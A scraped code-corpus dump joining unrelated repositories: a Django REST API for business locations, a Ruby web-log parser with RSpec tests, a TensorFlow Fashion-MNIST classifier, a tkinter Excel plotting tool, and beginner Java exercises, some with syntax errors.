set_file_name_cover = str(today_date.day) + "_" + str(today_date.month) + "_" + str(today_date.year)
file_name_cover = set_file_name_cover + "." + ext_cover
data_cover = ContentFile(base64.b64decode(imgstr_cover), name=file_name_cover)
image_data_banner = data_cover
add_location.Business_Cover_Image = image_data_banner
add_location.save()
for i in range(0,len(request.data["other_image"])):
if request.data["other_image"][str(i)]:
image_file_get_other = request.data["other_image"][str(i)]
format_other, imgstr_other = image_file_get_other.split(';base64,')
ext_other = format_other.split('/')[-1]
today_date = date.today()
set_file_name_other = str(today_date.day) + "_" + str(today_date.month) + "_" + str(
today_date.year)
file_name_other = set_file_name_other + "." + ext_other
data_other = ContentFile(base64.b64decode(imgstr_other), name=file_name_other)
image_data_other = data_other
add_other_image = DfLocationImage(
Business_Location = add_location,
Image = image_data_other
)
add_other_image.save()
# ===============================================================
for i in range(0,len(request.data["payment_method"])):
if request.data["payment_method"][str(i)]:
add_payment = DfLocationPaymentMethod(
Business_Location = add_location,
Payment_Method = request.data["payment_method"][str(i)]
)
add_payment.save()
# ===============================================================
# ===============================================================
for i in range(0,len(request.data["open_houre"])):
if request.data["open_houre"][str(i)]["Day"]:
add_hover = DfLocationOpenHours(
Business_Location = add_location,
Day = request.data["open_houre"][str(i)]["Day"],
Type = request.data["open_houre"][str(i)]["Type"],
Open_status = request.data["open_houre"][str(i)]["Open_status"],
start_time_1 = request.data["open_houre"][str(i)]["start_time_1"],
end_time_1 = request.data["open_houre"][str(i)]["end_time_1"],
start_time_2 = request.data["open_houre"][str(i)]["start_time_2"],
end_time_2 = request.data["open_houre"][str(i)]["end_time_2"]
)
add_hover.save()
# ===============================================================
data_response["message"] = "Location Add successfully"
data_response["Location_id"] = add_location.id
data_response["Store_Code"] = add_location.Store_Code
# except:
# msg = "Something wae wrong with API."
# raise exceptions.ValidationError(msg)
else:
msg = "User_id is invalue."
raise exceptions.ValidationError(msg)
else:
data_response = serializer.errors
return Response(data_response)
class LocationConnectWithSocialSedia(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self,request):
if request.method == "POST":
request.data["user_id"] = self.request.user.id
serializer = LocationWithSocialMediaSerializers(data=request.data)
serializer.is_valid(raise_exception=True)
get_data = serializer.validated_data
return Response({"message": get_data}, status=200)
class LocationConnectRemoveWithSocialSedia(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self,request):
if request.method == "POST":
request.data["user_id"] = self.request.user.id
serializer = LocationRemoveWithSocialMediaSerializers(data=request.data)
serializer.is_valid(raise_exception=True)
get_data = serializer.validated_data
return Response({"message": get_data}, status=200)
class GetAllConnectionOfOneLocation(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self, request):
all_connection_set = {}
if request.method == "POST":
request.data["user_id"] = self.request.user.id
serializer = GetAllConnectionOfOneLocationSerializers(data=request.data)
serializer.is_valid(raise_exception=True)
get_all_connection=serializer.validated_data
get_all_connection_sri = GetConnectionWithCocialMediaSerializers(get_all_connection, many=True)
all_connection_set = get_all_connection_sri.data
return Response({"data": all_connection_set}, status=200)
class GetAllConnectionOfBusinessLocationnToPlatfrom(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def get(self,request):
if DfUser.objects.filter(user=self.request.user).exists():
get_Dfuser_ins = get_object_or_404(DfUser,user=self.request.user)
if DfLocationConnectPlatform.objects.filter(DfUser=get_Dfuser_ins).exists():
get_data = DfLocationConnectPlatform.objects.filter(DfUser=get_Dfuser_ins)
get_all_connection_sri = GetConnectionWithCocialMediaSerializers(get_data, many=True)
all_connection_set = get_all_connection_sri.data
else:
all_connection_set = {}
else:
msg = "Login User is not exists"
raise exceptions.ValidationError(msg)
return Response({"data":all_connection_set},status=200)
class RemoveLocationByIdView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self, request):
all_connection_set = {}
if request.method == "POST":
request.data["user_id"] = self.request.user.id
serializer = RemoveLocationByIdSerializers(data=request.data)
serializer.is_valid(raise_exception=True)
return Response({"messgae": serializer.validated_data}, status=200)
class UpdateImagesFilesByLocationIdView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self, request):
messsage = "Image updated successfuly."
if request.method == "POST":
request.data["user_id"] = self.request.user.id
serializer = UpdateImagesFilesByLocationIdSerializers(data=request.data)
data_response = {}
serializer.is_valid(raise_exception=True)
ls_busloc_ins=serializer.validated_data
Business_Logo_set = None
add_location = get_object_or_404(DfBusinessLocation,id=request.data['location_id'])
if "Business_Logo" in request.data:
if request.data['Business_Logo']:
image_file_get = request.data['Business_Logo']
format, imgstr = image_file_get.split(';base64,')
ext = format.split('/')[-1]
today_date = date.today()
set_file_name = str(today_date.day) + "_" + str(today_date.month) + "_" + str(today_date.year)
file_name = set_file_name + "." + ext
data = ContentFile(base64.b64decode(imgstr), name=file_name)
image_data_logo = data
add_location.Business_Logo.delete(save=False)
add_location.Business_Logo = image_data_logo
add_location.save()
messsage = "Business Logo "
if "Business_Cover_Image" in request.data:
if request.data['Business_Cover_Image']:
image_file_get_cover = request.data['Business_Cover_Image']
format_cover, imgstr_cover = image_file_get_cover.split(';base64,')
ext_cover = format_cover.split('/')[-1]
today_date = date.today()
set_file_name_cover = str(today_date.day) + "_" + str(today_date.month) + "_" + str(today_date.year)
file_name_cover = set_file_name_cover + "." + ext_cover
data_cover = ContentFile(base64.b64decode(imgstr_cover), name=file_name_cover)
image_data_banner = data_cover
add_location.Business_Cover_Image.delete(save=False)
add_location.Business_Cover_Image = image_data_banner
add_location.save()
messsage += "Business cover image "
messsage += "update successfully."
return Response({"message":messsage},status=200)
class AddOtherImagesFilesByLocationIdView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self, request):
messsage = "Other image add successfully."
if request.method == "POST":
request.data["user_id"] = self.request.user.id
serializer = UpdateImagesFilesByLocationIdSerializers(data=request.data)
data_response = {}
serializer.is_valid(raise_exception=True)
ls_busloc_ins=serializer.validated_data
Business_Logo_set = None
add_location = get_object_or_404(DfBusinessLocation,id=request.data['location_id'])
if "other_image" in request.data:
for i in range(0,len(request.data["other_image"])):
if request.data["other_image"][str(i)]:
image_file_get_other = request.data["other_image"][str(i)]
format_other, imgstr_other = image_file_get_other.split(';base64,')
ext_other = format_other.split('/')[-1]
today_date = date.today()
set_file_name_other = str(today_date.day) + "_" + str(today_date.month) + "_" + str(today_date.year)
file_name_other = set_file_name_other + "." + ext_other
data_other = ContentFile(base64.b64decode(imgstr_other), name=file_name_other)
image_data_other = data_other
add_other_image = DfLocationImage(
Business_Location = add_location,
Image = image_data_other
)
add_other_image.save()
messsage = "Other image add successfully."
return Response({"message":messsage},status=200)
class UpdateOtherImagesFilesByLocationIdImageIdView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self, request):
messsage = "Other image updated successfully."
if request.method == "POST":
request.data["user_id"] = self.request.user.id
serializer = UpdateImagesFilesByLocationIdImageIdSerializers(data=request.data)
data_response = {}
serializer.is_valid(raise_exception=True)
ls_busloc_ins=serializer.validated_data
Business_Logo_set = None
add_location = get_object_or_404(DfBusinessLocation,id=request.data['location_id'])
if DfLocationImage.objects.filter(id=request.data['image_id']).exists():
get_image_ins = get_object_or_404(DfLocationImage,Business_Location=add_location,id=request.data['image_id'])
if request.data["image"]:
image_file_get_other = request.data["image"]
format_other, imgstr_other = image_file_get_other.split(';base64,')
ext_other = format_other.split('/')[-1]
today_date = date.today()
set_file_name_other = str(today_date.day) + "_" + str(today_date.month) + "_" + str(today_date.year)
file_name_other = set_file_name_other + "." + ext_other
data_other = ContentFile(base64.b64decode(imgstr_other), name=file_name_other)
image_data_other = data_other
get_image_ins.Image.delete(save=False)
get_image_ins.Image = image_data_other
get_image_ins.save()
messsage = "Other image updated successfully."
else:
msg = "image_id is incorrect."
raise exceptions.ValidationError(msg)
return Response({"message":messsage},status=200)
class RemoveOtherImagesFilesByLocationIdImageIdView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self, request):
messsage = "Other image removes successfully."
if request.method == "POST":
request.data["user_id"] = self.request.user.id
serializer = RemoveImagesFilesByLocationIdImageIdSerializers(data=request.data)
data_response = {}
serializer.is_valid(raise_exception=True)
ls_busloc_ins=serializer.validated_data
Business_Logo_set = None
add_location = get_object_or_404(DfBusinessLocation,id=request.data['location_id'])
if DfLocationImage.objects.filter(id=request.data['image_id']).filter(Business_Location=add_location).exists():
DfLocationImage.objects.filter(id=request.data['image_id']).filter(Business_Location=add_location).delete()
messsage = "Other image removes successfully."
else:
msg = "image_id is incorrect."
raise exceptions.ValidationError(msg)
return Response({"message":messsage},status=200)
class RemoveAllOtherImagesFilesByLocationIdView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self, request):
messsage = "Other image removes successfully."
if request.method == "POST":
request.data["user_id"] = self.request.user.id
serializer = UpdateImagesFilesByLocationIdSerializers(data=request.data)
data_response = {}
serializer.is_valid(raise_exception=True)
ls_busloc_ins=serializer.validated_data
Business_Logo_set = None
add_location = get_object_or_404(DfBusinessLocation,id=request.data['location_id'])
if DfLocationImage.objects.filter(Business_Location=add_location).exists():
DfLocationImage.objects.filter(Business_Location=add_location).delete()
messsage = "Other image removes successfully."
return Response({"message":messsage},status=200) <file_sep>from django.urls import path
from . import views
urlpatterns= [
path('add-campaign', views.AddCampaignView.as_view()),
path('get-all-campaign', views.GetAllCampaignView.as_view()),
path('get-campaign-by-id', views.GetCampaignByIdView.as_view()),
path('remove-campaign-by-id', views.RemoveCampaignByIdView.as_view()),
path('remove-email-from-campaign-by-id', views.RemoveEmailByCampaignIdView.as_view()),
path('add-emails-in-campaign', views.AddCampaignEmailView.as_view()),
path('get-emails-by-campaign', views.GetEmailByIdView.as_view()),
path('send-emaills', views.SendEmailsView.as_view()),
path('upload-image-get-url', views.UploadImageView.as_view()),
]<file_sep># Generated by Django 3.0.5 on 2020-04-16 09:10
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('manage_locations', '0009_auto_20200413_1648'),
]
operations = [
migrations.RemoveField(
model_name='dfbusinesslocation',
name='Operating_Hours_Friday',
),
migrations.RemoveField(
model_name='dfbusinesslocation',
name='Operating_Hours_Monday',
),
migrations.RemoveField(
model_name='dfbusinesslocation',
name='Operating_Hours_Saturday',
),
migrations.RemoveField(
model_name='dfbusinesslocation',
name='Operating_Hours_Sunday',
),
migrations.RemoveField(
model_name='dfbusinesslocation',
name='Operating_Hours_Thursday',
),
migrations.RemoveField(
model_name='dfbusinesslocation',
name='Operating_Hours_Tuseday',
),
migrations.RemoveField(
model_name='dfbusinesslocation',
name='Operating_Hours_Wednesday',
),
]
| e84829a9b3dd29a1d861ac89eb13cf6722103398 | [
"Python"
] | 137 | Python | Deepaksinghpatel052/dashify | 00e4e7b6836a41d55548a8220fc7000f05a1a1c5 | 7c77717059842acfa41f02f9b269ec3afe24271b |
refs/heads/master | <file_sep># frozen_string_literal: true
require 'log_data'
require 'terminal-table'
require 'sorter'
require 'counter'
class ParserCli
HEADING = %w[Url Visits].freeze
ALL_VISITS_TITLE = 'Urls order by visits (high to low)'
UNIQUE_VISITS_TITLE = 'Urls order by unique count (high to low)'
attr_reader :log_data
def initialize(parser:)
@parser = parser
@log_data = {}
end
def print(file_path)
@log_data = @parser.call(file_path)
tables = table_data
tables.each do |table|
puts table
end
end
private
def counter
@counter ||= Counter.new(@log_data)
end
def sorter(visits)
Sorter.new(visits).sort
end
def row_data(values)
values.map do |value|
[value.path, value.visits]
end
end
def table_data
[
print_table(ALL_VISITS_TITLE, row_data(sorter(counter.all_visits))),
print_table(UNIQUE_VISITS_TITLE, row_data(sorter(counter.unique_visits)))
]
end
def print_table(title, rows)
Terminal::Table.new(title: title, headings: HEADING, rows: rows)
end
end
<file_sep># frozen_string_literal: true
require_relative 'log_data'
require_relative 'log_visits'
# Facade which selects a certain counter and calls it
class Counter
def initialize(log_data)
@log_data = log_data
end
def all_visits
visits = []
@log_data.data.each do |path, ips|
visits << LogVisits.new(path, ips.values.reduce(&:+))
end
visits
end
def unique_visits
visits = []
@log_data.data.each do |path, ips|
visits << LogVisits.new(path, ips.keys.count)
end
visits
end
end
<file_sep># frozen_string_literal: true
require 'spec_helper'
require 'log_visits'
require 'sorter'
describe Sorter do
subject { described_class.new(visits) }
let(:path_1) { '/some/path1' }
let(:path_2) { '/some/path2' }
describe '.sort' do
let(:log_visits_1) do
instance_double(LogVisits, path: path_1, visits: 3)
end
let(:log_visits_2) do
instance_double(LogVisits, path: path_2, visits: 5)
end
let(:visits) do
[
log_visits_1,
log_visits_2
]
end
it 'return visits ordered from most pages views to less page views' do
expect(subject.sort).to eq [log_visits_2, log_visits_1]
end
end
end
<file_sep># frozen_string_literal: true
require 'spec_helper'
require 'log_data'
require 'log_parser'
require 'file_loader'
describe LogParser do
subject { described_class.new(file_loader: file_loader) }
let(:file_path) { '' }
let(:file_loader) { instance_double(FileLoader) }
let(:file) { StringIO.new(log_line) }
let(:ip) { '10.10.1.1' }
let(:path) { '/some/path' }
let(:log_line) { "#{path} #{ip}" }
let(:data) do
{
path => { ip => 1 }
}
end
describe '#call' do
before do
expect(file_loader).to receive(:load).with(file_path).and_return(file)
end
it 'returns log data' do
log_data = subject.call(file_path)
expect(log_data).to be_an_instance_of(LogData)
expect(log_data.data).to eq(data)
end
end
end
<file_sep># frozen_string_literal: true
require_relative 'log_data'
require_relative 'log_visits'
class Sorter
def initialize(visits)
@visits = visits
end
def sort
@visits.sort { |a, b| b.visits <=> a.visits }
end
end
<file_sep># frozen_string_literal: true
require 'spec_helper'
require 'log_data'
describe LogData do
let(:path) { '/some/endpoint' }
let(:ip) { '1.2.3.4' }
let(:log_entry) { instance_double(LogEntry, path: path, ip: ip) }
describe '#add_entry' do
context 'when entry exists' do
subject { described_class.new(path => { ip => 1 }) }
it 'increments visits count' do
subject.add_entry(log_entry)
expect(subject.data[path][ip]).to eq 2
end
end
context "when entry doesn't exist" do
it 'adds the entry with one visit' do
subject.add_entry(log_entry)
expect(subject.data[path][ip]).to eq 1
end
end
end
end
<file_sep># frozen_string_literal: true
require 'byebug'
require 'errors'
class FileLoader
def load(file_path)
raise Errors::StandardFileError, 'No file path provided' if file_path.nil? || file_path.empty?
File.new(file_path, 'r') if file_exists?(file_path)
end
private
def file_exists?(file_path)
return true if File.exist?(file_path)
raise Errors::FileNotFoundError, "File not found [#{file_path}]"
end
end
<file_sep># frozen_string_literal: true
class LogVisits
attr_reader :path, :visits
def initialize(path, visits)
@path = path
@visits = visits
end
end
<file_sep># frozen_string_literal: true
require_relative 'log_data'
class LogParser
def initialize(file_loader:)
@file_loader = file_loader
@log_data = LogData.new
end
def call(file_path)
file = @file_loader.load(file_path)
begin
file.each_line do |log_line|
add_line(log_line)
end
ensure
file.close
end
@log_data
end
private
def add_line(log_line)
entry = LogEntry.new(log_line)
@log_data.add_entry(entry)
end
end
<file_sep># frozen_string_literal: true
require 'spec_helper'
require 'log_data'
require 'log_visits'
require 'counter'
require 'byebug'
describe Counter do
subject { described_class.new(log_data) }
let(:ip_address_1) { '10.10.10.1' }
let(:ip_address_2) { '10.10.10.2' }
let(:path_1) { '/some/path1' }
let(:path_2) { '/some/path2' }
let(:log_data) do
instance_double(LogData, data: data)
end
before do
expect(LogVisits).to receive(:new).with(path_1, visits).and_return(log_visits)
end
let(:log_visits) do
instance_double(LogVisits, path: path_1, visits: visits)
end
describe '.all_visits' do
context 'one path from the same ip' do
let(:data) { { path_1 => { ip_address_1 => 2 } } }
let(:visits) { 2 }
it { expect(subject.all_visits).to eq [log_visits] }
end
context 'one path from the multiple ip' do
let(:visits) { 3 }
let(:data) { { path_1 => { ip_address_1 => 2, ip_address_2 => 1 } } }
it { expect(subject.all_visits).to eq [log_visits] }
end
context 'two paths from the multiple ip' do
let(:visits) { 3 }
let(:log_visits_2) { instance_double(LogVisits, path: path_2, visits: visits) }
let(:data) do
{
path_1 => { ip_address_1 => 2, ip_address_2 => 1 },
path_2 => { ip_address_1 => 1, ip_address_2 => 2 }
}
end
before do
expect(LogVisits).to receive(:new).with(path_2, visits).and_return(log_visits_2)
end
it { expect(subject.all_visits).to eq [log_visits, log_visits_2] }
end
end
describe '.unique_visits' do
context 'one path from the same ip' do
let(:data) { { path_1 => { ip_address_1 => 1 } } }
let(:visits) { 1 }
it { expect(subject.unique_visits).to eq [log_visits] }
end
context 'one path from the same ip several times' do
let(:data) { { path_1 => { ip_address_1 => 2 } } }
let(:visits) { 1 }
it { expect(subject.unique_visits).to eq [log_visits] }
end
context 'one path from the two different ips' do
let(:data) { { path_1 => { ip_address_1 => 2, ip_address_2 => 37 } } }
let(:visits) { 2 }
it { expect(subject.unique_visits).to eq [log_visits] }
end
context 'two paths from the multiple ips' do
let(:visits) { 2 }
let(:log_visits_2) { instance_double(LogVisits, path: path_2, visits: visits) }
let(:data) do
{
path_1 => { ip_address_1 => 2, ip_address_2 => 1 },
path_2 => { ip_address_1 => 1, ip_address_2 => 2 }
}
end
before do
expect(LogVisits).to receive(:new).with(path_2, visits).and_return(log_visits_2)
end
it { expect(subject.unique_visits).to eq [log_visits, log_visits_2] }
end
end
end
<file_sep># frozen_string_literal: true
require 'spec_helper'
require 'file_loader'
require 'errors'
describe FileLoader do
describe '#load' do
subject { described_class.new }
context 'no file path' do
it { expect { subject.load(nil) }.to raise_error Errors::StandardFileError }
end
context 'file dose not exist' do
let(:file_path) { 'spec/logfiles/not_exist/somefile.log' }
it { expect { subject.load(file_path) }.to raise_error Errors::FileNotFoundError }
end
context 'valid file path' do
let(:file_path) { 'spec/fixtures/test.log' }
it 'opens a file' do
expect(subject.load(file_path)).to be_an_instance_of(File)
end
end
end
end
<file_sep># frozen_string_literal: true
require_relative 'log_entry'
class LogData
attr_reader :data
def initialize(data = {})
@data = data
end
def add_entry(entry)
paths = @data[entry.path]
return @data[entry.path] = Hash[entry.ip, 1] if paths.nil?
paths[entry.ip].nil? ? paths[entry.ip] = 1 : paths[entry.ip] += 1
end
end
<file_sep># frozen_string_literal: true
require 'spec_helper'
require 'log_visits'
describe LogVisits do
context 'initialize' do
let(:visits) { 5 }
let(:path) { '/home' }
let(:log_visit) { described_class.new(path, visits) }
it 'should contain a path ' do
expect(log_visit.path).to eq(path)
end
it 'should contain number of visits' do
expect(log_visit.visits).to eq(visits)
end
end
end
<file_sep>#!/usr/bin/env ruby
# frozen_string_literal: true
$LOAD_PATH.unshift(File.join(File.dirname(__FILE__), 'lib'))
require 'parser_cli'
require 'log_parser'
require 'file_loader'
log_parser = LogParser.new(file_loader: FileLoader.new)
log_parser = ParserCli.new(parser: log_parser)
log_parser.print(ARGV[0])
<file_sep># frozen_string_literal: true
module Errors
class FileNotFoundError < StandardError; end
class StandardFileError < StandardError; end
end
<file_sep># frozen_string_literal: true
class LogEntry
attr_reader :path, :ip
def initialize(log_entry)
@path, @ip = log_entry.split
end
end
<file_sep># frozen_string_literal: true
require 'spec_helper'
require 'parser_cli'
require 'file_loader'
require 'log_parser'
require 'byebug'
describe ParserCli do
let(:file_path) { 'spec/fixtures/test.log' }
let(:file_loader) { instance_double(FileLoader) }
let(:log_parser) { LogParser.new(file_loader: FileLoader.new) }
subject { described_class.new(parser: log_parser) }
before do
allow(STDOUT).to receive(:puts) # this disables puts
end
context '#print' do
it 'display order by visits' do
expect(subject.print(file_path).first.title).to eq('Urls order by visits (high to low)')
end
it 'display order by unique count' do
expect(subject.print(file_path).last.title).to eq('Urls order by unique count (high to low)')
end
context 'list results highest to lowest' do
let(:table) { subject.print(file_path) }
it 'all visits' do
first_value = table.first.rows.first.cells.last.value
last_value = table.first.rows.last.cells.last.value
expect(first_value).to be > last_value
end
it 'unique visits' do
first_value = table.last.rows.first.cells.last.value
last_value = table.last.rows.last.cells.last.value
expect(first_value).to be > last_value
end
end
end
end
<file_sep># LogParser
Parser a log file
## Description
Write a ruby script that:
a. Receives a log as argument (webserver.log is provided)
e.g.: ./parser.rb webserver.log
b. Returns the following:
list of webpages with most page views ordered from most pages views to less page views
e.g.:
/home 90 visits
/index 80 visits
etc...
list of webpages with most unique page views also ordered
e.g.:
/about/2 8 unique views
/index 5 unique views
etc.
# Approach
Each Line in the logfile is parse into `LogData`.
The log file is praser in the following steps:
1. A line of the logfile is passed to the `LogEntry` object.
2. The `LogEntry` object is saved to the `LogData`
The LogData has the following structure
`{ <path> => { <ip> => <visits> } }`
3. `Counter` calulated the number of visits by accepeting the parser data from `LogData` and returning an array of `LogVisits`.
- `Logvisits` is a simple value object which holds path and number of visits.
4. `Sorter` accepts an Array of `LogVisits` objects and return sorted array of objects from highest to lowest visits.
5. `ParserCli` prints the following two tables:
- All visits to a given path order by high to low visits
- Unique visits to a given path order by high to low visits
# Usage
## Install
1. Clone the repository
2. run `bundle install` to install gems
## Test
- Run specs: `bundle exec rspec`
- Run linter: `bundle exec rubocop`
## Run Working example
`./parser.rb webserver.log`
+------------------+-----------------+
| Urls order by visits (high to low) |
+------------------+-----------------+
| Url | Visits |
+------------------+-----------------+
| /about/2 | 90 |
| /contact | 89 |
| /index | 82 |
| /about | 81 |
| /help_page/1 | 80 |
| /home | 78 |
+------------------+-----------------+
+---------------------+--------------------+
| Urls order by unique count (high to low) |
+---------------------+--------------------+
| Url | Visits |
+---------------------+--------------------+
| /help_page/1 | 23 |
| /contact | 23 |
| /home | 23 |
| /index | 23 |
| /about/2 | 22 |
| /about | 21 |
+---------------------+--------------------+
| 26ca4c34700f7abea2a653264793df80408fe523 | [
"Markdown",
"Ruby"
] | 18 | Ruby | tmckernan/sp_log_parser | 12c5a99a81348528315e8e9b0aa8c7ac4c501921 | 4b2f75ed7d2feb6f011f0fd0652b4400af6deb14 |
refs/heads/master | <file_sep>import tensorflow as tf
from tensorflow import keras
import numpy as np
import pandas as pd
model = keras.models.load_model("model.h5")
model.compile(optimizer = tf.train.AdamOptimizer(), loss = "sparse_categorical_crossentropy", metrics = ["accuracy"])
test_path = input("Test Path: ")
img = tf.image.decode_jpeg(tf.read_file(test_path), channels = 1)
sess = tf.InteractiveSession()
img = sess.run(img)
sess.close()
img = img.reshape(1, 28, 28)
img = img / 255.0
labels = ["T-Shirt", "Pants", "Pullover", "Dress", "Coat", "Sandal", "Shirt", "Sneaker", "Bag", "Ankle Boot"]
predictions = model.predict(img)
print(labels[np.argmax(predictions[0])])<file_sep>import tensorflow as tf
from tensorflow import keras
import numpy as np
import pandas as pd
train = pd.read_csv("fashion-mnist_train.csv")
test = pd.read_csv("fashion-mnist_test.csv")
train = train.values
test = test.values
train_labels = train[:, 0]
test_labels = test[:, 0]
train = train[:, 1:]
test = test[:, 1:]
train = train.reshape(60000, 28, 28)
test = test.reshape(10000, 28, 28)
train = train / 255.0
test = test / 255.0
model = keras.Sequential()
model.add(keras.layers.Conv1D(64, kernel_size = 3, activation = "relu", input_shape = (28, 28)))
model.add(keras.layers.Conv1D(32, kernel_size = 3, activation = "relu"))
model.add(keras.layers.Flatten())
model.add(keras.layers.Dense(128, activation = "relu"))
model.add(keras.layers.Dense(10, activation = "softmax"))
model.compile(optimizer = tf.train.AdamOptimizer(), loss = "sparse_categorical_crossentropy", metrics = ["accuracy"])
model.fit(train, train_labels, epochs = 5)
model.save("model.h5")
loss, accuracy = model.evaluate(test, test_labels)
print("Accuracy: " + str(accuracy)) | 32ff65a1e623719356882aeae2e69a118ff6f784 | [
"Python"
] | 2 | Python | graysondemos/tf-fashion | 0610d6152f7eaec87e94c5b8a14a15d4dd7794ea | c61022b7d150caba57aeb8371f25148a8458b0a4 |
refs/heads/master | <file_sep># Python-Data-Visualizer
Learning how to do data visualization in Python
Currently supports excel files with 1 column of data, makes a line graph.
<file_sep>#import stuff
import pandas
import numpy
from matplotlib import pyplot as plt
import tkinter as tk
from tkinter import filedialog
from tkinter import *
#init colors
lavender = 'lavender'
black = 'black'
grey = 'grey'
white = 'white'
#init tkinter window
root = tk.Tk()
root.title('Excel Line Graph Maker')
mainwindow = tk.Canvas(root, width = 300, height = 300, bg = lavender)
mainwindow.pack(fill="both", expand=True)
#button function
def getExcel():
global datafile
filepath = filedialog.askopenfilename()
try:
datafile = pandas.read_excel(filepath)
if len(datafile.columns) == 2:
x_label = datafile.columns[0]
y_label = datafile.columns[1]
x = datafile[x_label].tolist()
y = datafile[y_label].tolist()
plt.plot(x, y)
plt.title(filepath)
plt.xlabel(x_label)
plt.ylabel(y_label)
plt.show()
else:
popupwindow("Please select an excel file with 2 columns!")
except:
popupwindow("Please select an excel file!")
#def errormessage
def popupwindow(message):
popup = tk.Tk()
popup.wm_title("Error!")
textlabel = tk.Label(popup, width=30, text=message, font=('helvetica', 10, 'bold'))
textlabel.pack(side="top", fill="x", pady=10)
okaybutton = tk.Button(popup, text="Okay", command=popup.destroy)
okaybutton.pack()
paddinglabel = tk.Label(popup, width=50, text="")
paddinglabel.pack(side="bottom", fill="x", pady=10)
popup.mainloop()
#build on top of window
message_1 = tk.Label(text='Excel Data Visualiser!\nCurrent version makes a line graph\nof 1 column of data.', bg = lavender, fg = black, font=('helvetica', 12, 'bold'))
browseButtonExcel = tk.Button(text = 'Import Excel File', command=getExcel, bg='grey', fg=white, font=('helvetica', 12, 'bold'))
mainwindow.create_window(150, 150, window=browseButtonExcel)
mainwindow.create_window(150, 50, window=message_1)
#loop
root.mainloop()
| 0eb093725e0912978f9fc2e58d2b2040ff4e9876 | [
"Markdown",
"Python"
] | 2 | Markdown | Kroket93/Python-Data-Visualizer | 1bebb3eafa131d99a20975a3128b3215c9650670 | 5cdf583be11f21e13a3abd62c88907dbe7eb1f2f |
refs/heads/main | <file_sep>package exercicios.exercicios06;
public class Ebook {
// Atributos
private String titulo, autor;
private int totalPaginas, paginaAtual;
Ebook (String titulo, String autor, int totalPaginas) {
this.titulo = titulo;
this.autor = autor;
if (totalPaginas >0) {
this.totalPaginas = totalPaginas;
]
paginaAtual = 0
}
public void avancarPagina() {
if (paginaAtual < totalPaginas) {
paginaAtual++;
}
}
public void irParaPagina (int pagina) {
if(pagina >=0 && pagina <=totalPaginas)
}
public void retrocederPagina (int pagina) {
if(paginaAtual > 0) }
paginaAtual--;
}
}
<file_sep>package exemplos;
public class Exemplo03 {
public static void main(String[] args) {
//exemplo operadores logicos
System.out.println( 3 + 4);
System.out.println( 3 > 4);
System.out.println( 3 <= 4);
System.out.println( 3 <= 4 && 6 > 2);
System.out.println( 3 <= 4 );
}
}
<file_sep>package Exercicios;
import java.util.Scanner;
public class exercicios02 {
public static void main(String[] args) {
Scanner entrada = new Scanner(System.in);
double salario, novo salario
System.out.println("Digite salario atual");
salario = entrada.nextDouble();
novo salario = (salario + salario *0.25);
System.out.println(" Novo salario é " + novo salario);
entrada.close();
}
}
<file_sep>package exemplos.exemplos03;
public class Pessoa {
//atributos primeira parte (declarado na classe)
String nome;
int telefone;
//metodos segunda parte
Pessoa (String n,int t) { //construtor
nome = n;
telefone = t;
}
void apresentar() {
System.out.println("Olá! Eu sou " + nome);
}
int obterTelefone () {
return telefone;
}
}
<file_sep>package exercicios;
import java.util.Scanner;
public class Exercicios05 {
public static void main(String[] args) {
Scanner teclado = new Scanner(System.in);
final int TOTAL_NUMEROS = 4; // CONSTANTE, NÃO PODE ALTERAR
int numero, pares = 0, impares = 0;
double media;
// cont = 1;
// numero = 10;
for (int cont = 1; cont <= TOTAL_NUMEROS; cont++) {
System.out.printf("Digite %dº, o numero:", cont);
numero = teclado.nextInt();
if (numero % 2 == 0) {
pares++;
media = media + numero;
}
}
media = media / pares;
System.out.println("A média de pares " + media);
System.out.println("Porcentagem de impares " + (TOTAL_NUMEROS - pares/ TOTAL_NUMEROS));
teclado.close();
}
}
<file_sep>package Exemplos;
public class Exemplo03 {
public static void main(String[] args) {
//int cont; a variavel pode ficar dentro do processamento
for (int cont = 1; cont <= 11; cont++) { // nesse caso a variável foi criada dentro do FOR
System.out.println("Fim: " + cont);
}
}
}
<file_sep>package exercicios.exercicios06;
public class Appebook {
public static void main(String[] args) {
Ebook livro1 = new Ebook ("Narnia", "C.S.L", 300);
livro1.exibirCapa();
livro1.avancarPagina();
System.out.println("Pagina atual " + livro1.exibirPagina());
livro1.retrocederPagina();
livro1.retrocederPagina();
livro1.retrocederPagina();
livro1.retrocederPagina();
System.out.println("Pagina atual " + livro1.exibirPagina());
livro1.irParaPagina(150);
System.out.println("Pagina atual " + livro1.exibirPagina())
}
}
<file_sep>package exercicios;
import java.util.Scanner;
public class Exercicio06 {
public static void main(String[] args) {
Scanner teclado = new Scanner(System.in);
final int TOTAL_NUMEROS = 10; // CONSTANTE, NÃO PODE ALTERAR
int numero, pares = 0;
double media = 0;
for (int cont = 1; cont <= TOTAL_NUMEROS; cont++) {
System.out.printf("Digite %dº, o numero: ", cont);
numero = teclado.nextInt();
if (numero % 2 == 0) {
pares++;
media = media + numero;
}
}
System.out.println("O total de pares é " + pares);
System.out.printf("O total de impares é: %.2f %% " , ((double) TOTAL_NUMEROS - pares / TOTAL_NUMEROS * 100));
teclado.close();
}
}
| 7857a54f40bbbdf7e4a96eecdc35087661492ac6 | [
"Java"
